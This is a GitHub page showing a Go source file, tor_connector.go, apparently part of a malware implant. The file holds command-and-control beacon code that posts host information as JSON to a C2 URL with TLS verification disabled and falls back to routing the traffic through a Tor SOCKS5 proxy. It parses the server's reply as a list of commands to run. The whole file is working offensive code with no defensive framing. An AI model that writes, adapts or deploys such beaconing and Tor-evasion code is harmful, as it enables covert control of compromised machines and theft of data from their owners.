-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathtor_connector.go
More file actions
86 lines (76 loc) · 2.03 KB
/
tor_connector.go
File metadata and controls
86 lines (76 loc) · 2.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package main
import (
"bytes"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"time"
"golang.org/x/net/proxy"
)
const (
// SOCKS5 proxy address Tor client
torProxyAddr = "127.0.0.1:9050"
// Timeout
reqTimeout = 15 * time.Second
)
func doC2Request(data []byte) ([]byte, error) {
directTransport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
directClient := &http.Client{
Timeout: reqTimeout,
Transport: directTransport,
}
resp, err := directClient.Post(c2URL, "application/json", bytes.NewReader(data))
if err == nil {
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
return io.ReadAll(resp.Body)
}
log.Printf("direct POST returned status %d; falling back to Tor", resp.StatusCode)
} else {
log.Printf("direct POST error: %v; falling back to Tor", err)
}
dialer, err := proxy.SOCKS5("tcp", torProxyAddr, nil, proxy.Direct)
if err != nil {
return nil, fmt.Errorf("failed to create Tor dialer: %w", err)
}
torTransport := &http.Transport{
Dial: dialer.Dial,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
torClient := &http.Client{
Timeout: reqTimeout,
Transport: torTransport,
}
respTor, err := torClient.Post(c2URL, "application/json", bytes.NewReader(data))
if err != nil {
return nil, fmt.Errorf("Tor POST error: %w", err)
}
defer respTor.Body.Close()
if respTor.StatusCode != http.StatusOK {
return nil, fmt.Errorf("Tor POST returned status %d", respTor.StatusCode)
}
return io.ReadAll(respTor.Body)
}
func beacon(info HostInfo) []string {
payload, err := json.Marshal(info)
if err != nil {
log.Printf("failed to marshal HostInfo: %v", err)
return nil
}
body, err := doC2Request(payload)
if err != nil {
log.Printf("C2 request error: %v", err)
return nil
}
var cmds []string
if err := json.Unmarshal(body, &cmds); err != nil {
log.Printf("failed to unmarshal C2 response: %v", err)
return nil
}
return cmds
}